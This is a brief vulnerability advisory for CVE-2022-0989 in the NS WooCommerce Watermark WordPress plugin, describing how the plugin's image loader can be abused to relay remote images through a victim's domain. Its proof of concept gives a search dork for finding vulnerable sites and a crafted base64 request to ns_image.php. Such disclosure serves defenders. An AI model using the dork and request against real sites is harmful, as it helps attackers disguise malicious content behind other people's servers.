NS WooCommerce Watermark <= 2.11.3 – Abuse of Functionality | CVE 2022-0989

Description

An unprivileged user could use the functionality of the plugin to load images that hide malware for example from passing malicious domains to hide their trace, by making them pass through the vulnerable domain.

Proof of Concept

Search for a vulnerable domain with the dork: "/wp-content/plugins/ns-woocommerce-watermark"

Then go to the path and add: //ns_image.php?param=aW1hZ2VfcGF0aD1odHRwczovL2MudGVub3IuY29tL0VtaVhDd0RKT3JJQUFBQWQvbG9sLXRyb2xvbG8uZ2lmJnd0X3BhdGg9aHR0cHM6Ly9jLnRlbm9yLmNvbS9FbWlYQ3dESk9ySUFBQUFkL2xvbC10cm9sb2xvLmdpZiZvdGhlcj0=
